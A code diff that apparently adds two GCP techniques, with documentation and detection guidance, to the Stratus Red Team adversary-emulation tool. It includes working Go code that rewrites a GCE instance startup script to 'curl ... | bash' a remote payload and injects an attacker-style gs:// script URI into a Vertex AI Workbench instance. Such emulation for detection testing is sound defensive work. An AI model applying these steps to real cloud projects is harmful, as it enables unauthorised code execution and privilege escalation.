diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md b/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md new file mode 100755 index 000000000..86087c147 --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md @@ -0,0 +1,61 @@ +--- +title: Modify a GCE Instance Startup Script +--- + +# Modify a GCE Instance Startup Script + + slow + + +Platform: GCP + +## Mappings + +- MITRE ATT&CK + - Execution + - Privilege Escalation + + + +## Description + + +Stops a GCE instance, modifies its startup script to execute an attacker-controlled payload on the +next boot, and restarts it. An attacker with compute.instances.setMetadata permission +can use this technique to achieve persistent code execution and privilege escalation through the +instance's service account, without needing direct access to the instance. + +Warm-up: + +- Create a GCE instance (e2-micro, us-central1-a) with a benign startup script + +Detonation: + +- Stop the GCE instance and wait for it to reach TERMINATED state +- Replace the startup-script metadata value with a command that fetches + and executes a remote payload +- Restart the instance + +References: + +- https://cloud.google.com/compute/docs/instances/startup-scripts/linux +- https://cloud.google.com/compute/docs/reference/rest/v1/instances/setMetadata +- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/ +- https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.execution.modify-gce-startup-script +``` +## Detection + + +Identify when a GCE instance's startup script is modified by monitoring for +v1.compute.instances.setMetadata events in GCP Admin Activity audit logs +where the metadata.items field contains a startup-script key +that points to an external URL or contains suspicious commands. Correlate with +preceding v1.compute.instances.stop events on the same instance. + + diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md new file mode 100755 index 000000000..9f8179397 --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md @@ -0,0 +1,69 @@ +--- +title: Inject a Malicious Startup Script into a Vertex AI Workbench Instance +--- + +# Inject a Malicious Startup Script into a Vertex AI Workbench Instance + + slow + + +Platform: GCP + +## Mappings + +- MITRE ATT&CK + - Execution + - Privilege Escalation + + + +## Description + + +Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a +remote script on the next start by injecting a malicious URL into the instance's +post-startup-script metadata field. An attacker with +notebooks.instances.update permission can use this technique to +achieve persistent code execution inside the notebook environment, run under +the instance's service account identity. + +Warm-up: + +- Create a Vertex AI Workbench instance (e2-standard-2, us-central1-a) + +Note: This technique requires the Notebooks API (notebooks.googleapis.com) to be enabled in your GCP project. If it is not enabled, the warm-up will fail with a 403 error pointing to the API enablement page. + +Detonation: + +- Patch the Workbench instance's GCE setup metadata to set + post-startup-script to a fictitious attacker-controlled GCS URI + (gs://evil-attacker-<project-id>-<random>/malicious.sh) + +Revert: + +- Remove the post-startup-script metadata key from the instance + +References: + +- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction +- https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch +- https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/ +- https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.execution.modify-vertex-notebook-startup +``` +## Detection + + +Identify when a Vertex AI Workbench instance's metadata is modified by monitoring +for google.cloud.notebooks.v2.NotebookService.UpdateInstance events in +GCP Admin Activity audit logs. Alert when the post-startup-script or +startup-script metadata fields are added or changed to external URLs, +which may indicate an attempt to establish persistent code execution in the notebook +environment. + + diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index bba57f11e..195bca875 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -9,6 +9,13 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Steal and Use the GCE Default Service Account Token from Outside Google Cloud](./gcp.initial-access.use-compute-sa-outside-gcp.md) +## Execution + + - [Modify a GCE Instance Startup Script](./gcp.execution.modify-gce-startup-script.md) + + - [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md) + + ## Persistence - [Register SSH public key to instance metadata](./gcp.lateral-movement.add-sshkey-instance-metadata.md) @@ -24,12 +31,16 @@ Note that some Stratus attack techniques may correspond to more than a single AT ## Privilege Escalation + - [Modify a GCE Instance Startup Script](./gcp.execution.modify-gce-startup-script.md) + - [Create an Admin GCP Service Account](./gcp.persistence.create-admin-service-account.md) - [Create a GCP Service Account Key](./gcp.persistence.create-service-account-key.md) - [Impersonate GCP Service Accounts](./gcp.privilege-escalation.impersonate-service-accounts.md) + - [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md) + ## Defense Evasion diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index 3f323b0f6..07a91b3a9 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -79,6 +79,7 @@ This page contains the list of all Stratus Attack Techniques. | [Disable VPC Flow Logs on a Subnet](./GCP/gcp.defense-evasion.remove-vpc-flow-logs.md) | [GCP](./GCP/index.md) | Defense Evasion | | [Read GCE Instance Metadata via the Compute API](./GCP/gcp.discovery.download-instance-metadata.md) | [GCP](./GCP/index.md) | Discovery | | [Enumerate Permissions of a GCP Service Account](./GCP/gcp.discovery.enumerate-permissions.md) | [GCP](./GCP/index.md) | Discovery | +| [Modify a GCE Instance Startup Script](./GCP/gcp.execution.modify-gce-startup-script.md) | [GCP](./GCP/index.md) | Execution, Privilege Escalation | | [Exfiltrate Compute Disk by sharing it](./GCP/gcp.exfiltration.share-compute-disk.md) | [GCP](./GCP/index.md) | Exfiltration | | [Exfiltrate Compute Image by sharing it](./GCP/gcp.exfiltration.share-compute-image.md) | [GCP](./GCP/index.md) | Exfiltration | | [Exfiltrate Compute Disk by sharing a snapshot](./GCP/gcp.exfiltration.share-compute-snapshot.md) | [GCP](./GCP/index.md) | Exfiltration | @@ -101,4 +102,5 @@ This page contains the list of all Stratus Attack Techniques. | [Impersonate GCP Service Accounts](./GCP/gcp.privilege-escalation.impersonate-service-accounts.md) | [GCP](./GCP/index.md) | Privilege Escalation | | [Delete a GCP Log Sink](./GCP/gcp.defense-evasion.delete-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion | | [Disable a GCP Log Sink](./GCP/gcp.defense-evasion.disable-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion | +| [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./GCP/gcp.execution.modify-vertex-notebook-startup.md) | [GCP](./GCP/index.md) | Execution, Privilege Escalation | | [Reduce Log Retention Period on a Cloud Logging Sink Bucket](./GCP/gcp.defense-evasion.reduce-sink-log-retention.md) | [GCP](./GCP/index.md) | Defense Evasion | diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md index e62efe97a..d4e954f47 100644 --- a/docs/attack-techniques/mitre-attack-coverage-matrices.md +++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md @@ -53,15 +53,15 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently

GCP

- + - - - - - - - + + + + + + +
Initial AccessPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpact
Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpact
Steal and Use the GCE Default Service Account Token from Outside Google CloudRegister SSH public key to instance metadataCreate an Admin GCP Service AccountDelete a Cloud DNS Logging PolicyRetrieve a High Number of Secret Manager secretsRead GCE Instance Metadata via the Compute APIRegister SSH public key to instance metadataExfiltrate Compute Disk by sharing itCreate a GCE GPU Virtual Machine
Backdoor a GCP Service Account through its IAM PolicyCreate a GCP Service Account KeyDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Image by sharing itCreate GCE Instances in Multiple Zones
Create an Admin GCP Service AccountImpersonate GCP Service AccountsAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Disk by sharing a snapshot
Create a GCP Service Account KeyDisable VPC Flow Logs on a Subnet
Invite an External User to a GCP ProjectDelete a GCP Log Sink
Disable a GCP Log Sink
Reduce Log Retention Period on a Cloud Logging Sink Bucket
Steal and Use the GCE Default Service Account Token from Outside Google CloudModify a GCE Instance Startup ScriptRegister SSH public key to instance metadataModify a GCE Instance Startup ScriptDelete a Cloud DNS Logging PolicyRetrieve a High Number of Secret Manager secretsRead GCE Instance Metadata via the Compute APIRegister SSH public key to instance metadataExfiltrate Compute Disk by sharing itCreate a GCE GPU Virtual Machine
Inject a Malicious Startup Script into a Vertex AI Workbench InstanceBackdoor a GCP Service Account through its IAM PolicyCreate an Admin GCP Service AccountDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Image by sharing itCreate GCE Instances in Multiple Zones
Create an Admin GCP Service AccountCreate a GCP Service Account KeyAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Disk by sharing a snapshot
Create a GCP Service Account KeyImpersonate GCP Service AccountsDisable VPC Flow Logs on a Subnet
Invite an External User to a GCP ProjectInject a Malicious Startup Script into a Vertex AI Workbench InstanceDelete a GCP Log Sink
Disable a GCP Log Sink
Reduce Log Retention Period on a Cloud Logging Sink Bucket
diff --git a/docs/index.yaml b/docs/index.yaml index 37a390d57..bdc978d6d 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -617,6 +617,23 @@ GCP: - Discovery platform: GCP isIdempotent: true + Execution: + - id: gcp.execution.modify-gce-startup-script + name: Modify a GCE Instance Startup Script + isSlow: true + mitreAttackTactics: + - Execution + - Privilege Escalation + platform: GCP + isIdempotent: false + - id: gcp.execution.modify-vertex-notebook-startup + name: Inject a Malicious Startup Script into a Vertex AI Workbench Instance + isSlow: true + mitreAttackTactics: + - Execution + - Privilege Escalation + platform: GCP + isIdempotent: false Exfiltration: - id: gcp.exfiltration.share-compute-disk name: Exfiltrate Compute Disk by sharing it @@ -712,6 +729,14 @@ GCP: platform: GCP isIdempotent: true Privilege Escalation: + - id: gcp.execution.modify-gce-startup-script + name: Modify a GCE Instance Startup Script + isSlow: true + mitreAttackTactics: + - Execution + - Privilege Escalation + platform: GCP + isIdempotent: false - id: gcp.persistence.create-admin-service-account name: Create an Admin GCP Service Account isSlow: false @@ -735,6 +760,14 @@ GCP: - Privilege Escalation platform: GCP isIdempotent: true + - id: gcp.execution.modify-vertex-notebook-startup + name: Inject a Malicious Startup Script into a Vertex AI Workbench Instance + isSlow: true + mitreAttackTactics: + - Execution + - Privilege Escalation + platform: GCP + isIdempotent: false Azure: Execution: - id: azure.execution.vm-custom-script-extension diff --git a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go new file mode 100644 index 000000000..a88bf1391 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go @@ -0,0 +1,192 @@ +package gcp + +import ( + "context" + _ "embed" + "fmt" + "log" + "time" + + compute "cloud.google.com/go/compute/apiv1" + "cloud.google.com/go/compute/apiv1/computepb" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" +) + +//go:embed main.tf +var tf []byte + +const ( + maliciousStartupScript = "#!/bin/bash\ncurl -s https://stratus-red-team.cloud/payload.sh | bash" +) + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.execution.modify-gce-startup-script", + FriendlyName: "Modify a GCE Instance Startup Script", + Description: ` +Stops a GCE instance, modifies its startup script to execute an attacker-controlled payload on the +next boot, and restarts it. An attacker with compute.instances.setMetadata permission +can use this technique to achieve persistent code execution and privilege escalation through the +instance's service account, without needing direct access to the instance. + +Warm-up: + +- Create a GCE instance (e2-micro, us-central1-a) with a benign startup script + +Detonation: + +- Stop the GCE instance and wait for it to reach TERMINATED state +- Replace the startup-script metadata value with a command that fetches + and executes a remote payload +- Restart the instance + +References: + +- https://cloud.google.com/compute/docs/instances/startup-scripts/linux +- https://cloud.google.com/compute/docs/reference/rest/v1/instances/setMetadata +- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/ +- https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform/ +`, + Detection: ` +Identify when a GCE instance's startup script is modified by monitoring for +v1.compute.instances.setMetadata events in GCP Admin Activity audit logs +where the metadata.items field contains a startup-script key +that points to an external URL or contains suspicious commands. Correlate with +preceding v1.compute.instances.stop events on the same instance. +`, + Platform: stratus.GCP, + IsIdempotent: false, + IsSlow: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution, mitreattack.PrivilegeEscalation}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + }) +} + +func newInstancesClient(ctx context.Context, providers stratus.CloudProviders) (*compute.InstancesClient, error) { + client, err := compute.NewInstancesRESTClient(ctx, providers.GCP().Options()) + if err != nil { + return nil, fmt.Errorf("failed to create Compute instances client: %w", err) + } + return client, nil +} + +// waitForInstanceStatus polls until the instance reaches the desired status. +func waitForInstanceStatus( + ctx context.Context, + client *compute.InstancesClient, + projectId, zone, instanceName, desiredStatus string, +) error { + const maxAttempts = 60 + const pollInterval = 10 * time.Second + + for attempt := 0; attempt < maxAttempts; attempt++ { + instance, err := client.Get(ctx, &computepb.GetInstanceRequest{ + Project: projectId, + Zone: zone, + Instance: instanceName, + }) + if err != nil { + return fmt.Errorf("failed to get instance %s status: %w", instanceName, err) + } + if instance.GetStatus() == desiredStatus { + return nil + } + log.Printf("Waiting for instance %s to reach %s (current: %s, attempt %d/%d)\n", + instanceName, desiredStatus, instance.GetStatus(), attempt+1, maxAttempts) + time.Sleep(pollInterval) + } + return fmt.Errorf("instance %s did not reach status %s after %d attempts", instanceName, desiredStatus, maxAttempts) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + instanceName := params["instance_name"] + zone := params["zone"] + ctx := context.Background() + + client, err := newInstancesClient(ctx, providers) + if err != nil { + return err + } + defer client.Close() + + log.Printf("Replacing startup script on GCE instance %s with a remote payload fetcher\n", instanceName) + + log.Printf("Stopping instance %s\n", instanceName) + stopOp, err := client.Stop(ctx, &computepb.StopInstanceRequest{ + Project: projectId, + Zone: zone, + Instance: instanceName, + }) + if err != nil { + return fmt.Errorf("failed to stop instance %s: %w", instanceName, err) + } + + if err = stopOp.Wait(ctx); err != nil { + return fmt.Errorf("failed waiting for instance %s to stop: %w", instanceName, err) + } + + // The operation completing does not guarantee the instance is TERMINATED — + // poll until the status is confirmed before calling SetMetadata. + if err = waitForInstanceStatus(ctx, client, projectId, zone, instanceName, "TERMINATED"); err != nil { + return err + } + + // Fetch the current metadata fingerprint; SetMetadata requires it to + // prevent lost-update races. + instance, err := client.Get(ctx, &computepb.GetInstanceRequest{ + Project: projectId, + Zone: zone, + Instance: instanceName, + }) + if err != nil { + return fmt.Errorf("failed to get instance %s metadata: %w", instanceName, err) + } + + log.Printf("Setting startup-script on instance %s\n", instanceName) + setMetaOp, err := client.SetMetadata(ctx, &computepb.SetMetadataInstanceRequest{ + Project: projectId, + Zone: zone, + Instance: instanceName, + MetadataResource: &computepb.Metadata{ + Fingerprint: instance.GetMetadata().Fingerprint, + Items: []*computepb.Items{ + { + Key: ptr("startup-script"), + Value: ptr(maliciousStartupScript), + }, + }, + }, + }) + if err != nil { + return fmt.Errorf("failed to set metadata on instance %s: %w", instanceName, err) + } + + if err = setMetaOp.Wait(ctx); err != nil { + return fmt.Errorf("failed waiting for SetMetadata on instance %s: %w", instanceName, err) + } + + log.Printf("Starting instance %s\n", instanceName) + startOp, err := client.Start(ctx, &computepb.StartInstanceRequest{ + Project: projectId, + Zone: zone, + Instance: instanceName, + }) + if err != nil { + return fmt.Errorf("failed to start instance %s: %w", instanceName, err) + } + + if err = startOp.Wait(ctx); err != nil { + return fmt.Errorf("failed waiting for instance %s to start: %w", instanceName, err) + } + + log.Printf("Successfully replaced startup script on instance %s — malicious payload will execute on next boot\n", instanceName) + return nil +} + +func ptr[T any](v T) *T { + return &v +} diff --git a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.tf b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.tf new file mode 100644 index 000000000..9bb4474c1 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.tf @@ -0,0 +1,69 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 6.18.1" + } + random = { + source = "hashicorp/random" + version = "~> 3.3.2" + } + } +} + +locals { + resource_prefix = "stratus-red-team-mgss" # modify gce startup script +} + +resource "random_string" "suffix" { + length = 8 + special = false + min_lower = 8 +} + +resource "google_service_account" "instance_sa" { + account_id = "${local.resource_prefix}-${random_string.suffix.result}" + display_name = "Stratus Red Team - Modify GCE Startup Script" +} + +resource "google_compute_network" "vpc" { + name = "${local.resource_prefix}-vpc-${random_string.suffix.result}" + auto_create_subnetworks = true +} + +resource "google_compute_instance" "instance" { + name = "${local.resource_prefix}-${random_string.suffix.result}" + machine_type = "e2-micro" + zone = "us-central1-a" + + boot_disk { + initialize_params { + image = "debian-cloud/debian-11" + } + } + + network_interface { + network = google_compute_network.vpc.self_link + } + + metadata = { + startup-script = "#!/bin/bash\necho 'Legitimate startup script'" + } + + service_account { + email = google_service_account.instance_sa.email + scopes = ["cloud-platform"] + } +} + +output "instance_name" { + value = google_compute_instance.instance.name +} + +output "zone" { + value = google_compute_instance.instance.zone +} + +output "display" { + value = format("GCE instance %s in zone %s", google_compute_instance.instance.name, google_compute_instance.instance.zone) +} diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go new file mode 100644 index 000000000..701067cc7 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go @@ -0,0 +1,194 @@ +package gcp + +import ( + "context" + "crypto/rand" + _ "embed" + "encoding/hex" + "fmt" + "log" + "maps" + "time" + + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + notebooks "google.golang.org/api/notebooks/v2" +) + +//go:embed main.tf +var tf []byte + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.execution.modify-vertex-notebook-startup", + FriendlyName: "Inject a Malicious Startup Script into a Vertex AI Workbench Instance", + Description: ` +Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a +remote script on the next start by injecting a malicious URL into the instance's +post-startup-script metadata field. An attacker with +notebooks.instances.update permission can use this technique to +achieve persistent code execution inside the notebook environment, run under +the instance's service account identity. + +Warm-up: + +- Create a Vertex AI Workbench instance (e2-standard-2, us-central1-a) + +Note: This technique requires the Notebooks API (notebooks.googleapis.com) to be enabled in your GCP project. If it is not enabled, the warm-up will fail with a 403 error pointing to the API enablement page. + +Detonation: + +- Patch the Workbench instance's GCE setup metadata to set + post-startup-script to a fictitious attacker-controlled GCS URI + (gs://evil-attacker-<project-id>-<random>/malicious.sh) + +Revert: + +- Remove the post-startup-script metadata key from the instance + +References: + +- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction +- https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch +- https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/ +- https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/ +`, + Detection: ` +Identify when a Vertex AI Workbench instance's metadata is modified by monitoring +for google.cloud.notebooks.v2.NotebookService.UpdateInstance events in +GCP Admin Activity audit logs. Alert when the post-startup-script or +startup-script metadata fields are added or changed to external URLs, +which may indicate an attempt to establish persistent code execution in the notebook +environment. +`, + Platform: stratus.GCP, + IsIdempotent: false, + IsSlow: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution, mitreattack.PrivilegeEscalation}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + Revert: revert, + }) +} + +func newNotebooksService(ctx context.Context, providers stratus.CloudProviders) (*notebooks.Service, error) { + svc, err := notebooks.NewService(ctx, providers.GCP().Options()) + if err != nil { + return nil, fmt.Errorf("failed to create Notebooks client: %w", err) + } + return svc, nil +} + +func instancePath(projectId, location, instanceName string) string { + return fmt.Sprintf("projects/%s/locations/%s/instances/%s", projectId, location, instanceName) +} + +// waitForNotebooksOperation polls a Notebooks long-running operation until it +// completes or the maximum number of attempts is reached. +func waitForNotebooksOperation(ctx context.Context, svc *notebooks.Service, opName string) error { + const maxAttempts = 60 + const pollInterval = 10 * time.Second + + for attempt := range maxAttempts { + op, err := svc.Projects.Locations.Operations.Get(opName).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to poll Notebooks operation %s: %w", opName, err) + } + if op.Done { + if op.Error != nil { + return fmt.Errorf("notebooks operation %s failed: %s", opName, op.Error.Message) + } + return nil + } + log.Printf("Waiting for Notebooks patch operation to complete (attempt %d/%d)\n", attempt+1, maxAttempts) + time.Sleep(pollInterval) + } + return fmt.Errorf("notebooks operation %s did not complete after %d attempts", opName, maxAttempts) +} + +func setPostStartupScript(ctx context.Context, svc *notebooks.Service, projectId, location, instanceName, scriptURL string) error { + path := instancePath(projectId, location, instanceName) + + // Fetch the current instance to preserve any existing GCE setup fields. + instance, err := svc.Projects.Locations.Instances.Get(path).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to get Workbench instance %s: %w", path, err) + } + + // Preserve existing metadata and inject / remove the post-startup-script key. + metadata := make(map[string]string) + if instance.GceSetup != nil && instance.GceSetup.Metadata != nil { + maps.Copy(metadata, instance.GceSetup.Metadata) + } + + if scriptURL == "" { + delete(metadata, "post-startup-script") + } else { + metadata["post-startup-script"] = scriptURL + } + + patchedGceSetup := ¬ebooks.GceSetup{ + Metadata: metadata, + } + + op, err := svc.Projects.Locations.Instances.Patch(path, ¬ebooks.Instance{ + GceSetup: patchedGceSetup, + }).UpdateMask("gceSetup.metadata").Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to patch Workbench instance %s: %w", path, err) + } + + return waitForNotebooksOperation(ctx, svc, op.Name) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + instanceName := params["instance_name"] + location := params["location"] + ctx := context.Background() + + svc, err := newNotebooksService(ctx, providers) + if err != nil { + return err + } + + // The post-startup-script field only accepts gs:// URIs — the script is fetched + // from GCS when the instance boots, so GCP does not validate the bucket exists at + // patch time. Using a fictitious attacker-controlled bucket simulates the attack. + // GCS bucket names are globally unique, so a random suffix is added to the project + // ID to prevent a third party from pre-registering the bucket name. + var nonce [4]byte + if _, err = rand.Read(nonce[:]); err != nil { + return fmt.Errorf("failed to generate random nonce: %w", err) + } + maliciousURL := fmt.Sprintf("gs://evil-attacker-%s-%s/malicious.sh", projectId, hex.EncodeToString(nonce[:])) + log.Printf("Injecting post-startup-script %s into Workbench instance %s\n", maliciousURL, instanceName) + if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, maliciousURL); err != nil { + return err + } + + log.Printf("Successfully injected malicious startup script into Workbench instance %s — script will execute on next start\n", instanceName) + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + instanceName := params["instance_name"] + location := params["location"] + ctx := context.Background() + + svc, err := newNotebooksService(ctx, providers) + if err != nil { + return err + } + + log.Printf("Removing post-startup-script from Workbench instance %s\n", instanceName) + if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, ""); err != nil { + return err + } + + log.Printf("Successfully removed malicious startup script from Workbench instance %s\n", instanceName) + return nil +} diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf new file mode 100644 index 000000000..7a1d53c2b --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf @@ -0,0 +1,56 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 6.18.1" + } + random = { + source = "hashicorp/random" + version = "~> 3.3.2" + } + } +} + +locals { + resource_prefix = "stratus-red-team-mvns" # modify vertex notebook startup +} + +resource "random_string" "suffix" { + length = 8 + special = false + min_lower = 8 +} + +resource "google_compute_network" "vpc" { + name = "${local.resource_prefix}-vpc-${random_string.suffix.result}" + auto_create_subnetworks = true +} + +resource "google_workbench_instance" "notebook" { + name = "${local.resource_prefix}-${random_string.suffix.result}" + location = "us-central1-a" + + gce_setup { + machine_type = "e2-standard-2" + + boot_disk { + disk_size_gb = 150 + } + + network_interfaces { + network = google_compute_network.vpc.self_link + } + } +} + +output "instance_name" { + value = google_workbench_instance.notebook.name +} + +output "location" { + value = google_workbench_instance.notebook.location +} + +output "display" { + value = format("Vertex AI Workbench instance %s in %s ready", google_workbench_instance.notebook.name, google_workbench_instance.notebook.location) +} diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index c93da6143..23b16719a 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -74,6 +74,8 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/defense-evasion/remove-vpc-flow-logs" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/download-instance-metadata" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/enumerate-permissions" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot"